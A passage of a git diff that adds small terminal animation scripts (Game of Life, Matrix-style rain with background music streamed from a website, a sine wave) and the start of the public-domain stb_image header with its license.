+[[nodiscard]] JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg);
diff --git a/src/pwsh_scripts/game_of_life.ps1 b/src/pwsh_scripts/game_of_life.ps1
new file mode 100644
index 0000000..b419b9a
--- /dev/null
+++ b/src/pwsh_scripts/game_of_life.ps1
@@ -0,0 +1,117 @@
+Write-Host "Enter the board width (default 20):"
+$widthInput = Read-Host
+if ([string]::IsNullOrWhiteSpace($widthInput)) {
+    $Width = 20
+}
+else {
+    $Width = [int]$widthInput
+}
+
+Write-Host "Enter the board height (default 10):"
+$heightInput = Read-Host
+if ([string]::IsNullOrWhiteSpace($heightInput)) {
+    $Height = 10
+}
+else {
+    $Height = [int]$heightInput
+}
+Write-Host "Enter the number of steps (default 50):"
+$stepsInput = Read-Host
+if ([string]::IsNullOrWhiteSpace($stepsInput)) {
+    $Steps = 50
+}
+else {
+    $Steps = [int]$stepsInput
+}
+$board = @()
+for ($r = 0; $r -lt $Height; $r++) {
+    $row = @()
+    for ($c = 0; $c -lt $Width; $c++) {
+        $randVal = Get-Random -Minimum 0.0 -Maximum 1.0
+        if ($randVal -lt 0.2) {
+            $row += $true
+        }
+        else {
+            $row += $false
+        }
+    }
+    $board += , $row
+}
+function Draw-Board {
+    param([object[]]$board)
+    Clear-Host
+    for ($r = 0; $r -lt $board.Count; $r++) {
+        $rowStr = ""
+        for ($c = 0; $c -lt $board[$r].Count; $c++) {
+            if ($board[$r][$c]) {
+                $rowStr += "#"
+            }
+            else {
+                $rowStr += "."
+            }
+        }
+        Write-Host $rowStr
+    }
+}
+function Get-NeighborCount {
+    param(
+        [object[]]$board,
+        [int]$r,
+        [int]$c
+    )
+    $height = $board.Count
+    $width  = $board[0].Count
+    $count  = 0
+    for ($dr = -1; $dr -le 1; $dr++) {
+        for ($dc = -1; $dc -le 1; $dc++) {
+            if ($dr -eq 0 -and $dc -eq 0) {
+                continue
+            }
+            $nr = $r + $dr
+            $nc = $c + $dc
+            if ($nr -ge 0 -and $nr -lt $height -and
+                $nc -ge 0 -and $nc -lt $width) {
+                if ($board[$nr][$nc]) {
+                    $count++
+                }
+            }
+        }
+    }
+    return $count
+}
+function Next-Board {
+    param([object[]]$board)
+    $height = $board.Count
+    $width  = $board[0].Count
+    $newBoard = @()
+    for ($r = 0; $r -lt $height; $r++) {
+        $newRow = @()
+        for ($c = 0; $c -lt $width; $c++) {
+            $alive     = $board[$r][$c]
+            $neighbors = Get-NeighborCount -board $board -r $r -c $c
+            if ($alive) {
+                if ($neighbors -lt 2 -or $neighbors -gt 3) {
+                    $newRow += $false
+                }
+                else {
+                    $newRow += $true
+                }
+            }
+            else {
+                if ($neighbors -eq 3) {
+                    $newRow += $true
+                }
+                else {
+                    $newRow += $false
+                }
+            }
+        }
+        $newBoard += , $newRow
+    }
+    return $newBoard
+}
+for ($i = 1; $i -le $Steps; $i++) {
+    Draw-Board -board $board
+    $board = Next-Board -board $board
+    Start-Sleep -Milliseconds 200
+}
diff --git a/src/pwsh_scripts/matrix_rain1.ps1 b/src/pwsh_scripts/matrix_rain1.ps1
new file mode 100644
index 0000000..abf5284
--- /dev/null
+++ b/src/pwsh_scripts/matrix_rain1.ps1
@@ -0,0 +1,171 @@
+#!/bin/bash
+#
+# Matrix Rain
+#
+# Half-width Katakana, alphanumeric, and special characters
+# Color gradient trail: bright white head → green body → dark green tail → erased
+#   - Per-stream variable speed and random gaps between streams
+#   - Buffered frame output (single printf per frame, no subshells in hot loop)
+#   - Terminal resize handling (SIGWINCH)
+#   - Shimmer effect: trail characters randomly change each frame
+
+set -u
+
+MUSIC_PID=""
+
+url="https://cleasbycode.co.uk/media/matrix2.webm"
+
+  if command -v mpv &>/dev/null; then                                                               
+      mpv --no-video "$url" &>/dev/null &
+      MUSIC_PID=$!
+  elif command -v cvlc &>/dev/null; then                                                            
+      cvlc --no-video --play-and-exit "$url" &>/dev/null &
+      MUSIC_PID=$!
+  fi   
+
+# -- Setup --
+printf '\e[?25l\e[2J\e[H'
+
+# Put terminal in raw mode so key presses are immediate (no Enter needed)
+old_tty=$(stty -g)
+stty -echo -icanon min 0 time 0
+
+cleanup() {
+      [[ -n "$MUSIC_PID" ]] && kill "$MUSIC_PID" 2>/dev/null
+      stty "$old_tty"
+      printf '\e[?25h\e[0m\e[2J\e[H'
+      exit 0
+  }
+  trap cleanup INT TERM EXIT
+
+cols=$(tput cols)
+rows=$(tput lines)
+
+recalc() {
+    cols=$(tput cols)
+    rows=$(tput lines)
+    num_streams=$cols
+    ((num_streams < 1)) && num_streams=1
+    printf '\e[2J'
+}
+trap recalc WINCH
+
+# Single-cell characters — one stream per column
+cell_w=1
+num_streams=$cols
+((num_streams < 1)) && num_streams=1
+
+# Matrix character set: half-width Katakana + digits + Latin + punctuation/symbols
+chars=(
+    # Half-width Katakana (the iconic Matrix look)
+    ｦ ｧ ｨ ｩ ｪ ｫ ｬ ｭ ｮ ｯ ｰ ｱ ｲ ｳ ｴ ｵ ｶ ｷ ｸ ｹ ｺ ｻ ｼ ｽ ｾ ｿ
+    ﾀ ﾁ ﾂ ﾃ ﾄ ﾅ ﾆ ﾇ ﾈ ﾉ ﾊ ﾋ ﾌ ﾍ ﾎ ﾏ ﾐ ﾑ ﾒ ﾓ ﾔ ﾕ ﾖ ﾗ ﾘ ﾙ ﾚ ﾛ ﾜ ﾝ
+    # Digits
+    0 1 2 3 4 5 6 7 8 9
+    # Latin
+    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
+    a b c d e f g h i j k l m n o p q r s t u v w x y z
+    # Symbols / special characters
+    '!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '+' '=' '<' '>' '?' '/'
+    '{' '}' '[' ']' '|' ':' ';' '~'
+)
+nchars=${#chars[@]}
+
+# Trail color gradient (head to tail)
+C_HEAD='\e[1;97m'       # bold bright white  (leading character)
+C_NEAR='\e[1;92m'       # bold bright green  (just behind head)
+C_BODY='\e[38;5;46m'    # bright green       (upper trail)
+C_MID='\e[38;5;34m'     # medium green       (mid trail)
+C_TAIL='\e[38;5;22m'    # dark green         (lower trail)
+C_DIM='\e[38;5;236m'    # near-black         (fading out)
+
+# -- Per-stream state arrays --
+declare -a s_row s_len s_spd s_gap s_on
+
+reset_stream() {
+    local i=$1
+    s_row[$i]=$(( -(RANDOM % (rows / 2 + 1)) ))   # start above screen
+    s_len[$i]=$(( RANDOM % 14 + 6 ))               # trail length 6-19
+    s_spd[$i]=$(( RANDOM % 2 + 1 ))                # speed 1-2 rows/frame
+    s_on[$i]=1
+}
+
+for ((i = 0; i < num_streams; i++)); do
+    reset_stream "$i"
+done
+
+# -- Main loop --
+while true; do
+    buf=''
+
+    for ((i = 0; i < num_streams; i++)); do
+        # Handle inactive streams (gap countdown)
+        if (( !s_on[i] )); then
+            (( --s_gap[i] <= 0 )) && reset_stream "$i"
+            continue
+        fi
+
+        c=$((i * cell_w + 1))   # 1-based terminal column
+        h=${s_row[i]}
+        l=${s_len[i]}
+
+        # -- Draw the gradient trail from head to tail --
+
+        # Head: bright white (the leading drop)
+        if (( h >= 1 && h <= rows )); then
+            buf+="\e[${h};${c}H${C_HEAD}${chars[RANDOM % nchars]}"
+        fi
+
+        # 1 behind: bold bright green
+        (( p = h - 1 ))
+        if (( p >= 1 && p <= rows )); then
+            buf+="\e[${p};${c}H${C_NEAR}${chars[RANDOM % nchars]}"
+        fi
+
+        # Upper trail body: bright green (shimmer)
+        (( p = h - l / 4 ))
+        if (( p >= 1 && p <= rows && RANDOM % 2 == 0 )); then
+            buf+="\e[${p};${c}H${C_BODY}${chars[RANDOM % nchars]}"
+        fi
+
+        # Mid trail: medium green (shimmer)
+        (( p = h - l / 2 ))
+        if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
+            buf+="\e[${p};${c}H${C_MID}${chars[RANDOM % nchars]}"
+        fi
+
+        # Lower trail: dark green (shimmer)
+        (( p = h - 3 * l / 4 ))
+        if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
+            buf+="\e[${p};${c}H${C_TAIL}${chars[RANDOM % nchars]}"
+        fi
+
+        # Fading out: near-black just before erase
+        (( p = h - l + 1 ))
+        if (( p >= 1 && p <= rows )); then
+            buf+="\e[${p};${c}H${C_DIM}${chars[RANDOM % nchars]}"
+        fi
+
+        # Erase: clear the tail end
+        (( p = h - l ))
+        if (( p >= 1 && p <= rows )); then
+            buf+="\e[${p};${c}H "
+        fi
+
+        # Advance the stream
+        (( s_row[i] += s_spd[i] ))
+
+        # Deactivate when fully off-screen
+        if (( h - l > rows )); then
+            s_on[$i]=0
+            s_gap[$i]=$(( RANDOM % 40 + 5 ))   # pause 5-44 frames before restart
+        fi
+    done
+
+    printf '%b' "$buf"
+
+    # Exit on any key press
+    if read -rsn1 -t 0.035 _; then
+        break
+    fi
+done
diff --git a/src/pwsh_scripts/text_sine.ps1 b/src/pwsh_scripts/text_sine.ps1
new file mode 100644
index 0000000..9098a22
--- /dev/null
+++ b/src/pwsh_scripts/text_sine.ps1
@@ -0,0 +1,64 @@
+# text-sine.ps1 created by Darren Shaw / @gierrofo
+# Make a command-line sine wave
+# Powershell trig functions work on radians
+# rad = deg * (pi/180)
+# To get value between 0 and -1
+# [math]::sin($deg * ([math]::pi/180))
+# Uses [system.console]::keyavailable to check if a key has been pressed, stopping if it has.
+
+# Setup some variables
+$hostwidth = $Host.UI.RawUI.WindowSize.Width
+$display_char= ".-=:§[#]§:=-."
+$dcl = $display_char.length
+$hostwidth = ($hostwidth - (2 * $dcl)) / 2
+$centre = $hostwidth + ($dcl / 2)
+$delay = 15
+$continue = $true
+$str_colours = "DarkGreen", "DarkCyan", "DarkYellow", "Gray", "DarkGray", "Green", "Cyan", "Red", "Magenta", "Yellow", "White"
+$change_colour = 360 / $str_colours.count
+$clear_screen_after = $str_colours.count * 4
+$number_of_runs = 0
+$lowest_speed = 2
+$speed = $lowest_speed
+$speed_inc = 1
+$max_speed = 18
+
+Clear-Host 
+
+While ($continue -eq $true) {
+	$str_colours = $str_colours | Sort-Object {Get-Random}	# Shuffle the colour order
+
+	For ($deg = -90; $deg -lt 270; $deg = $deg + $speed) {		# Start at -90 to draw at left-hand column
+		# Calcualte where we're drawing
+		$offset_delta = [math]::sin($deg * ([math]::pi/180))
+		$offset = ($centre * $offset_delta)
+		$location = [math]::round($centre + $offset + $dcl)
+
+		# Pad the string to get us to the location
+		$display_str = $display_char.PadLeft($location, " ")
+
+		# Change the colour at equal time based on how many colours we're using
+		$str_colour_num = [math]::truncate(($deg / $change_colour))
+		$str_colour = $str_colours[$str_colour_num]
+
+		# Write the string
+		Write-Host -ForegroundColor ${str_colour} "${display_str}"
+
+		# Wait a little bit to avoid screen tearing and check for a keypress to exit
+		Start-Sleep -Milliseconds $delay
+		If ([system.console]::keyavailable) {
+			$continue = $false
+			break
+		}
+	}
+	# Clear the screen after a set number of runs, stops the screen buffer filling up
+	$number_of_runs++
+	If ($number_of_runs -gt $clear_screen_after) { 
+		Clear-Host 
+		$number_of_runs = 0
+	}
+	
+	$speed = $speed + $speed_inc
+	If ($speed -eq $max_speed) { $speed_inc = -1 }
+	If ($speed -eq $lowest_speed) { $speed_inc = 1 }
+}
\ No newline at end of file
diff --git a/src/stb_image/LICENSE.md b/src/stb_image/LICENSE.md
new file mode 100644
index 0000000..a916426
--- /dev/null
+++ b/src/stb_image/LICENSE.md
@@ -0,0 +1,37 @@
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
+software, either in source code form or as a compiled binary, for any purpose,
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this
+software dedicate any and all copyright interest in the software to the public
+domain. We make this dedication for the benefit of the public at large and to
+the detriment of our heirs and successors. We intend this dedication to be an
+overt act of relinquishment in perpetuity of all present and future rights to
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/src/stb_image/include/stb_image.h b/src/stb_image/include/stb_image.h
new file mode 100644
index 0000000..db31e57
--- /dev/null
+++ b/src/stb_image/include/stb_image.h
@@ -0,0 +1,7988 @@
+/* stb_image - v2.30 - public domain image loader - http://nothings.org/stb
+                                  no warranty implied; use at your own risk
+
+   Do this:
+      #define STB_IMAGE_IMPLEMENTATION
+   before you include this file in *one* C or C++ file to create the implementation.
+
+   // i.e. it should look like this:
+   #include ...
+   #include ...
+   #include ...
+   #define STB_IMAGE_IMPLEMENTATION
+   #include "stb_image.h"
+
+   You can #define STBI_ASSERT(x) before the #include to avoid using assert.h.
+   And #define STBI_MALLOC, STBI_REALLOC, and STBI_FREE to avoid using malloc,realloc,free
+
+
+   QUICK NOTES:
+      Primarily of interest to game developers and other people who can
+          avoid problematic images and only need the trivial interface
+
+      JPEG baseline & progressive (12 bpc/arithmetic not supported, same as stock IJG lib)
+      PNG 1/2/4/8/16-bit-per-channel
+
+      TGA (not sure what subset, if a subset)
+      BMP non-1bpp, non-RLE
+      PSD (composited view only, no extra channels, 8/16 bit-per-channel)
+
+      GIF (*comp always reports as 4-channel)
+      HDR (radiance rgbE format)
+      PIC (Softimage PIC)
+      PNM (PPM and PGM binary only)
+
+      Animated GIF still needs a proper API, but here's one way to do it:
+          http://gist.github.com/urraka/685d9a6340b26b830d49
+
+      - decode from memory or through FILE (define STBI_NO_STDIO to remove code)
+      - decode from arbitrary I/O callbacks
+      - SIMD acceleration on x86/x64 (SSE2) and ARM (NEON)
+
+   Full documentation under "DOCUMENTATION" below.
+
+
+LICENSE
+
+  See end of file for license information.
+
+RECENT REVISION HISTORY:
+
+      2.30  (2024-05-31) avoid erroneous gcc warning
+      2.29  (2023-05-xx) optimizations
+      2.28  (2023-01-29) many error fixes, security errors, just tons of stuff
+      2.27  (2021-07-11) document stbi_info better, 16-bit PNM support, bug fixes
+      2.26  (2020-07-13) many minor fixes
+      2.25  (2020-02-02) fix warnings
+      2.24  (2020-02-02) fix warnings; thread-local failure_reason and flip_vertically
+      2.23  (2019-08-11) fix clang static analysis warning
+      2.22  (2019-03-04) gif fixes, fix warnings
+      2.21  (2019-02-25) fix typo in comment
+      2.20  (2019-02-07) support utf8 filenames in Windows; fix warnings and platform ifdefs
+      2.19  (2018-02-11) fix warning
+      2.18  (2018-01-30) fix warnings
+      2.17  (2018-01-29) bugfix, 1-bit BMP, 16-bitness query, fix warnings
+      2.16  (2017-07-23) all functions have 16-bit variants; optimizations; bugfixes
+      2.15  (2017-03-18) fix png-1,2,4; all Imagenet JPGs; no runtime SSE detection on GCC
+      2.14  (2017-03-03) remove deprecated STBI_JPEG_OLD; fixes for Imagenet JPGs
+      2.13  (2016-12-04) experimental 16-bit API, only for PNG so far; fixes
+      2.12  (2016-04-02) fix typo in 2.11 PSD fix that caused crashes
+      2.11  (2016-04-02) 16-bit PNGS; enable SSE2 in non-gcc x64
+                         RGB-format JPEG; remove white matting in PSD;
+                         allocate large structures on the stack;
+                         correct channel count for PNG & BMP
+      2.10  (2016-01-22) avoid warning introduced in 2.09
+      2.09  (2016-01-16) 16-bit TGA; comments in PNM files; STBI_REALLOC_SIZED
+
+   See end of file for full revision history.
+
+
+ ============================    Contributors    =========================
+
+ Image formats                          Extensions, features
+    Sean Barrett (jpeg, png, bmp)          Jetro Lauha (stbi_info)
+    Nicolas Schulz (hdr, psd)              Martin "SpartanJ" Golini (stbi_info)
+    Jonathan Dummer (tga)                  James "moose2000" Brown (iPhone PNG)
+    Jean-Marc Lienher (gif)                Ben "Disch" Wenger (io callbacks)
+    Tom Seddon (pic)                       Omar Cornut (1/2/4-bit PNG)
+    Thatcher Ulrich (psd)                  Nicolas Guillemot (vertical flip)
+    Ken Miller (pgm, ppm)                  Richard Mitton (16-bit PSD)
+    github:urraka (animated gif)           Junggon Kim (PNM comments)
+    Christopher Forseth (animated gif)     Daniel Gibson (16-bit TGA)
+                                           socks-the-fox (16-bit PNG)
+                                           Jeremy Sawicki (handle all ImageNet JPGs)
+ Optimizations & bugfixes                  Mikhail Morozov (1-bit BMP)
+    Fabian "ryg" Giesen                    Anael Seghezzi (is-16-bit query)
+    Arseny Kapoulkine                      Simon Breuss (16-bit PNM)
+    John-Mark Allen
+    Carmelo J Fdez-Aguera
+
+ Bug & warning fixes
+    Marc LeBlanc            David Woo          Guillaume George     Martins Mozeiko
+    Christpher Lloyd        Jerry Jansson      Joseph Thomson       Blazej Dariusz Roszkowski
+    Phil Jordan                                Dave Moore           Roy Eltham
+    Hayaki Saito            Nathan Reed        Won Chun
+    Luke Graham             Johan Duparc       Nick Verigakis       the Horde3D community
+    Thomas Ruf              Ronny Chevalier                         github:rlyeh
+    Janez Zemva             John Bartholomew   Michal Cichon        github:romigrou
+    Jonathan Blow           Ken Hamada         Tero Hanninen        github:svdijk
+    Eugene Golushkov        Laurent Gomila     Cort Stratton        github:snagar
+    Aruelien Pocheville     Sergio Gonzalez    Thibault Reuille     github:Zelex
+    Cass Everitt            Ryamond Barbiero                        github:grim210
+    Paul Du Bois            Engin Manap        Aldo Culquicondor    github:sammyhw
+    Philipp Wiesemann       Dale Weiler        Oriol Ferrer Mesia   github:phprus
+    Josh Tobin              Neil Bickford      Matthew Gregan       github:poppolopoppo
+    Julian Raschke          Gregory Mullen     Christian Floisand   github:darealshinji
+    Baldur Karlsson         Kevin Schmidt      JR Smith             github:Michaelangel007
+                            Brad Weinberger    Matvey Cherevko      github:mosra
+    Luca Sas                Alexander Veselov  Zack Middleton       [reserved]
+    Ryan C. Gordon          [reserved]                              [reserved]
+                     DO NOT ADD YOUR NAME HERE
+
+                     Jacko Dirks
+
+  To add your name to the credits, pick a random blank space in the middle and fill it.
+  80% of merge conflicts on stb PRs are due to people adding their name at the end
+  of the credits.
+*/
+
+#ifndef STBI_INCLUDE_STB_IMAGE_H
+#define STBI_INCLUDE_STB_IMAGE_H
+
+// DOCUMENTATION
+//
+// Limitations:
+//    - no 12-bit-per-channel JPEG
+//    - no JPEGs with arithmetic coding
+//    - GIF always returns *comp=4
+//
+// Basic usage (see HDR discussion below for HDR usage):
+//    int x,y,n;
+//    unsigned char *data = stbi_load(filename, &x, &y, &n, 0);
+//    // ... process data if not NULL ...
+//    // ... x = width, y = height, n = # 8-bit components per pixel ...
+//    // ... replace '0' with '1'..'4' to force that many components per pixel
+//    // ... but 'n' will always be the number that it would have been if you said 0
+//    stbi_image_free(data);
+//
+// Standard parameters:
+//    int *x                 -- outputs image width in pixels
+//    int *y                 -- outputs image height in pixels
+//    int *channels_in_file  -- outputs # of image components in image file
+//    int desired_channels   -- if non-zero, # of image components requested in result
+//
+// The return value from an image loader is an 'unsigned char *' which points
+// to the pixel data, or NULL on an allocation failure or if the image is
+// corrupt or invalid. The pixel data consists of *y scanlines of *x pixels,
+// with each pixel consisting of N interleaved 8-bit components; the first
+// pixel pointed to is top-left-most in the image. There is no padding between
+// image scanlines or between pixels, regardless of format. The number of
+// components N is 'desired_channels' if desired_channels is non-zero, or
+// *channels_in_file otherwise. If desired_channels is non-zero,
+// *channels_in_file has the number of components that _would_ have been
+// output otherwise. E.g. if you set desired_channels to 4, you will always
+// get RGBA output, but you can check *channels_in_file to see if it's trivially
+// opaque because e.g. there were only 3 channels in the source image.
+//
+// An output image with N components has the following components interleaved
+// in this order in each pixel:
+//
+//     N=#comp     components
+//       1           grey
+//       2           grey, alpha
+//       3           red, green, blue
+//       4           red, green, blue, alpha
+//
+// If image loading fails for any reason, the return value will be NULL,
+// and *x, *y, *channels_in_file will be unchanged. The function
+// stbi_failure_reason() can be queried for an extremely brief, end-user
+// unfriendly explanation of why the load failed. Define STBI_NO_FAILURE_STRINGS
+// to avoid compiling these strings at all, and STBI_FAILURE_USERMSG to get slightly
+// more user-friendly ones.
+//
+// Paletted PNG, BMP, GIF, and PIC images are automatically depalettized.
+//
+// To query the width, height and component count of an image without having to
+// decode the full file, you can use the stbi_info family of functions:
+//
+//   int x,y,n,ok;
+//   ok = stbi_info(filename, &x, &y, &n);
+//   // returns ok=1 and sets x, y, n if image is a supported format,
+//   // 0 otherwise.
+//
+// Note that stb_image pervasively uses ints in its public API for sizes,
+// including sizes of memory buffers. This is now part of the API and thus
+// hard to change without causing breakage. As a result, the various image
+// loaders all have certain limits on image size; these differ somewhat
+// by format but generally boil down to either just under 2GB or just under
+// 1GB. When the decoded image would be larger than this, stb_image decoding
+// will fail.
+//
+// Additionally, stb_image will reject image files that have any of their
+// dimensions set to a larger value than the configurable STBI_MAX_DIMENSIONS,
+// which defaults to 2**24 = 16777216 pixels. Due to the above memory limit,
+// the only way to have an image with such dimensions load correctly
+// is for it to have a rather extreme aspect ratio. Either way, the
+// assumption here is that such larger images are likely to be malformed
+// or malicious. If you do need to load an image with individual dimensions
+// larger than that, and it still fits in the overall size limit, you can
+// #define STBI_MAX_DIMENSIONS on your own to be something larger.
+//
+// ===========================================================================
+//
+// UNICODE:
+//
+//   If compiling for Windows and you wish to use Unicode filenames, compile
+//   with
+//       #define STBI_WINDOWS_UTF8
+//   and pass utf8-encoded filenames. Call stbi_convert_wchar_to_utf8 to convert
+//   Windows wchar_t filenames to utf8.
+//
+// ===========================================================================
+//
+// Philosophy
+//
+// stb libraries are designed with the following priorities:
+//
+//    1. easy to use
+//    2. easy to maintain
+//    3. good performance
+//
+// Sometimes I let "good performance" creep up in priority over "easy to maintain",
+// and for best performance I may provide less-easy-to-use APIs that give higher
+// performance, in addition to the easy-to-use ones. Nevertheless, it's important
+// to keep in mind that from the standpoint of you, a client of this library,
+// all you care about is #1 and #3, and stb libraries DO NOT emphasize #3 above all.
+//
+// Some secondary priorities arise directly from the first two, some of which
+// provide more explicit reasons why performance can't be emphasized.
+//
+//    - Portable ("ease of use")
+//    - Small source code footprint ("easy to maintain")
+//    - No dependencies ("ease of use")
+//
+// ===========================================================================
+//
+// I/O callbacks
+//
+// I/O callbacks allow you to read from arbitrary sources, like packaged
+// files or some other source. Data read from callbacks are processed
+// through a small internal buffer (currently 128 bytes) to try to reduce
+// overhead.
+//
+// The three functions you must define are "read" (reads some bytes of data),
+// "skip" (skips some bytes of data), "eof" (reports if the stream is at the end).
+//
+// ===========================================================================
+//
+// SIMD support
+//
+// The JPEG decoder will try to automatically use SIMD kernels on x86 when
+// supported by the compiler. For ARM Neon support, you must explicitly
+// request it.
+//
+// (The old do-it-yourself SIMD API is no longer supported in the current
+// code.)
+//
+// On x86, SSE2 will automatically be used when available based on a run-time
+// test; if not, the generic C versions are used as a fall-back. On ARM targets,
+// the typical path is to have separate builds for NEON and non-NEON devices
+// (at least this is true for iOS and Android). Therefore, the NEON support is
+// toggled by a build flag: define STBI_NEON to get NEON loops.
+//
+// If for some reason you do not want to use any of SIMD code, or if
+// you have issues compiling it, you can disable it entirely by
+// defining STBI_NO_SIMD.
+//
+// ===========================================================================
+//
+// HDR image support   (disable by defining STBI_NO_HDR)
+//
+// stb_image supports loading HDR images in general, and currently the Radiance
+// .HDR file format specifically. You can still load any file through the existing
+// interface; if you attempt to load an HDR file, it will be automatically remapped
+// to LDR, assuming gamma 2.2 and an arbitrary scale factor defaulting to 1;
+// both of these constants can be reconfigured through this interface:
+//
+//     stbi_hdr_to_ldr_gamma(2.2f);
+//     stbi_hdr_to_ldr_scale(1.0f);
+//
+// (note, do not use _inverse_ constants; stbi_image will invert them
+// appropriately).
+//
+// Additionally, there is a new, parallel interface for loading files as
+// (linear) floats to preserve the full dynamic range:
+//
+//    float *data = stbi_loadf(filename, &x, &y, &n, 0);
+//
+// If you load LDR images through this interface, those images will
+// be promoted to floating point values, run through the inverse of
+// constants corresponding to the above:
+//
+//     stbi_ldr_to_hdr_scale(1.0f);
+//     stbi_ldr_to_hdr_gamma(2.2f);
+//
+// Finally, given a filename (or an open file or memory block--see header
+// file for details) containing image data, you can query for the "most
+// appropriate" interface to use (that is, whether the image is HDR or
+// not), using:
+//
+//     stbi_is_hdr(char *filename);
+//
+// ===========================================================================
+//
+// iPhone PNG support:
+//
+// We optionally support converting iPhone-formatted PNGs (which store
+// premultiplied BGRA) back to RGB, even though they're internally encoded
+// differently. To enable this conversion, call
+// stbi_convert_iphone_png_to_rgb(1).
+//
+// Call stbi_set_unpremultiply_on_load(1) as well to force a divide per
+// pixel to remove any premultiplied alpha *only* if the image file explicitly
+// says there's premultiplied data (currently only happens in iPhone images,
+// and only if iPhone convert-to-rgb processing is on).
+//
+// ===========================================================================
+//
+// ADDITIONAL CONFIGURATION
+//
+//  - You can suppress implementation of any of the decoders to reduce
+//    your code footprint by #defining one or more of the following
+//    symbols before creating the implementation.
+//
+//        STBI_NO_JPEG
+//        STBI_NO_PNG
+//        STBI_NO_BMP
+//        STBI_NO_PSD
+//        STBI_NO_TGA
+//        STBI_NO_GIF
+//        STBI_NO_HDR
+//        STBI_NO_PIC
+//        STBI_NO_PNM   (.ppm and .pgm)
+//
+//  - You can request *only* certain decoders and suppress all other ones
+//    (this will be more forward-compatible, as addition of new decoders
+//    doesn't require you to disable them explicitly):
+//
+//        STBI_ONLY_JPEG
+//        STBI_ONLY_PNG
+//        STBI_ONLY_BMP
+//        STBI_ONLY_PSD
+//        STBI_ONLY_TGA
+//        STBI_ONLY_GIF
+//        STBI_ONLY_HDR
+//        STBI_ONLY_PIC
+//        STBI_ONLY_PNM   (.ppm and .pgm)
+//
+//   - If you use STBI_NO_PNG (or _ONLY_ without PNG), and you still
+//     want the zlib decoder to be available, #define STBI_SUPPORT_ZLIB
+//
+//  - If you define STBI_MAX_DIMENSIONS, stb_image will reject images greater
+//    than that size (in either width or height) without further processing.
+//    This is to let programs in the wild set an upper bound to prevent
+//    denial-of-service attacks on untrusted data, as one could generate a
+//    valid image of gigantic dimensions and force stb_image to allocate a
+//    huge block of memory and spend disproportionate time decoding it. By
+//    default this is set to (1 << 24), which is 16777216, but that's still
+//    very big.
+
+#ifndef STBI_NO_STDIO
+#include <stdio.h>
+#endif // STBI_NO_STDIO
+
+#define STBI_VERSION 1
+
+enum
+{
+   STBI_default = 0, // only used for desired_channels
+
+   STBI_grey       = 1,
+   STBI_grey_alpha = 2,
+   STBI_rgb        = 3,
+   STBI_rgb_alpha  = 4
+};
+
+#include <stdlib.h>
+typedef unsigned char stbi_uc;
+typedef unsigned short stbi_us;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifndef STBIDEF
+#ifdef STB_IMAGE_STATIC
+#define STBIDEF static
+#else
+#define STBIDEF extern
+#endif
+#endif
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// PRIMARY API - works on images of any type
+//
+
+//
+// load image by filename, open file, or memory buffer
+//
+
+typedef struct
+{
+   int      (*read)  (void *user,char *data,int size);   // fill 'data' with 'size' bytes.  return number of bytes actually read
+   void     (*skip)  (void *user,int n);                 // skip the next 'n' bytes, or 'unget' the last -n bytes if negative
+   int      (*eof)   (void *user);                       // returns nonzero if we are at end of file/data
+} stbi_io_callbacks;
+
+////////////////////////////////////
+//
+// 8-bits-per-channel interface
+//
+
+STBIDEF stbi_uc *stbi_load_from_memory   (stbi_uc           const *buffer, int len   , int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_uc *stbi_load_from_callbacks(stbi_io_callbacks const *clbk  , void *user, int *x, int *y, int *channels_in_file, int desired_channels);
+
+#ifndef STBI_NO_STDIO
+STBIDEF stbi_uc *stbi_load            (char const *filename, int *x, int *y, int *channels_in_file, int desired_channels);
+STBIDEF stbi_uc *stbi_load_from_file  (FILE *f, int *x, int *y, int *channels_in_file, int desired_channels);
+// for stbi_load_from_file, file pointer is left pointing immediately after image
+#endif
+
+#ifndef STBI_NO_GIF
+STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp);
+#endif
+
+#ifdef STBI_WINDOWS_UTF8
+STBIDEF int stbi_convert_wchar_to_utf8(char *buffer, size_t bufferlen, const wchar_t* input);
+#endif
+
+////////////////////////////////////
+//
+// 16-bits-per-channel interface
+//
+
